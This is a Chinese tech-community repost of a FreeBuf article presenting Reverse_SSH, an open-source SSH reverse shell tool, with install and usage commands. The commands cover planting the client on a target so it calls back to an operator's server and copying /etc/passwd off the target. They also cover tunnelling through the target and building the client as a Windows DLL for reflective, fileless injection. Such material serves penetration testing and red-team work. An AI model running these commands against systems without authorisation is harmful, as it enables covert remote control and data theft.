前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Reverse_SSH:一款基于SSH的反向Shell工具

Reverse_SSH:一款基于SSH的反向Shell工具

作者头像
FB客服
发布2023-03-30 18:41:48
9850
发布2023-03-30 18:41:48
举报
文章被收录于专栏:FreeBufFreeBuf

 关于Reverse_SSH 

Reverse_SSH上一款基于SSH的反向Shell工具,在该工具的帮助下,广大研究人员可以使用SSH来实现反向Shell,并同时拥有下列功能:

1、使用原生SSH语句管理和连接反向Shell; 2、动态、本地和远程转发; 3、原生SCP和SFTP实现,用于从目标获取文件; 4、完整功能的Windows Shell; 5、实现了客户端&服务器端身份验证,以创建高信任高可用的控制通道; 6、其他...

 工具架构 

 工具安装 

Docker安装

代码语言:javascript
复制
代码语言:javascript
复制
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your_external_address>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v data:/data reversessh/reverse_ssh

(向右滑动,查看更多)

手动安装

代码语言:javascript
复制
git clone https://github.com/NHAS/reverse_ssh
cd reverse_ssh
make
cd bin/

运行下列命令后即可启动服务器:

代码语言:javascript
复制
cp ~/.ssh/id_ed25519.pub authorized_keys
./server 0.0.0.0:3232

 工具运行 

将客户端拷贝到目标设备中,然后让客户端连接服务器:

代码语言:javascript
复制
./client your.rssh.server.com:3232

获取工具帮助信息:

代码语言:javascript
复制
ssh your.rssh.server.com -p 3232 help

查看客户端:

代码语言:javascript
复制
ssh your.rssh.server.com -p 3232 ls -t

连接到完整Shell:

代码语言:javascript
复制
代码语言:javascript
复制
ssh -J your.rssh.server.com:3232 0f6ffecb15d75574e5e955e014e0546f6e2851ac

(向右滑动,查看更多)

代码语言:javascript
复制

或直接使用主机名连接:

代码语言:javascript
复制
ssh -J your.rssh.server.com:3232 root.wombo

接下来,可以开启远程转发功能:

代码语言:javascript
复制
代码语言:javascript
复制
ssh -R 1234:localhost:1234 -J your.rssh.server.com:3232 root.wombo

(向右滑动,查看更多)

或开启动态转发:

代码语言:javascript
复制
代码语言:javascript
复制
ssh -D 9050 -J your.rssh.server.com:3232 root.wombo

(向右滑动,查看更多)

代码语言:javascript
复制

SCP:

代码语言:javascript
复制
scp -J your.rssh.server.com:3232 root.wombo:/etc/passwd .

(向右滑动,查看更多)

SFTP:

代码语言:javascript
复制
sftp -J your.rssh.server.com:3232 root.wombo:/etc/passwd .

(向右滑动,查看更多)

 其他功能 

默认服务器

可以在项目构建的时候指定一个默认服务器:

代码语言:javascript
复制
代码语言:javascript
复制
$ RSSH_HOMESERVER=your.rssh.server.com:3232 make
$ bin/client
$ bin/client example.com:3232
代码语言:javascript
复制

Windows DLL生成

我们还可以将客户端编译成DLL,并使用类似Invoke-ReflectivePEInjection之类的工具进行加载。此时,如果你使用的是Linux系统,可以使用mingw-w64-gcc编译器:

代码语言:javascript
复制
CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll(向右滑动,查看更多)

当RSSH服务器启用了Webserver之后,我们也可以使用下列命令进行编译:

代码语言:javascript
复制
./server --webserver :3232
ssh your.rssh.server.com -p 3232
catcher$ link --name windows_dll --shared-object --goos windows
http://your.rssh.server.com:3232/windows_dll(向右滑动,查看更多)

这种情况适用于无文件注入的场景。

Webhook

RSSH服务器可以通过命令行终端接口并使用webhook命令发送原始HTTP请求。

首先,启用一个webhook:

代码语言:javascript
复制
$ ssh your.rssh.server.com -p 3232
catcher$ webhook --on http://localhost:8080/

接下来,连接客户端,并使用下列格式发送一个POST请求:

代码语言:javascript
复制
代码语言:javascript
复制
$ nc -l -p 8080
POST /rssh_webhook HTTP/1.1
Host: localhost:8080
User-Agent: Go-http-client/1.1
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip
 
{"Status":"connected","ID":"ae92b6535a30566cbae122ebb2a5e754dd58f0ca","IP":"[::1]:52608","HostName":"user.computer","Timestamp":"2022-06-12T12:23:40.626775318+12:00"}%

(向右滑动,查看更多)

 项目地址 

Reverse_SSH:https://github.com/NHAS/reverse_ssh

参考资料:

https://www.instagram.com/smart.hedgehog.art/

精彩推荐

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-11-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  •  关于Reverse_SSH 
  •  工具架构 
  •  工具安装 
    • Docker安装
    • (向右滑动,查看更多)
      • 手动安装
      •  工具运行 
      • (向右滑动,查看更多)
      • (向右滑动,查看更多)
      • (向右滑动,查看更多)
      • (向右滑动,查看更多)
      • (向右滑动,查看更多)
      •  其他功能 
        • 默认服务器
          • Windows DLL生成
            • Webhook
            • (向右滑动,查看更多)
            •  项目地址 
            • 参考资料:
            相关产品与服务
            容器服务
            腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档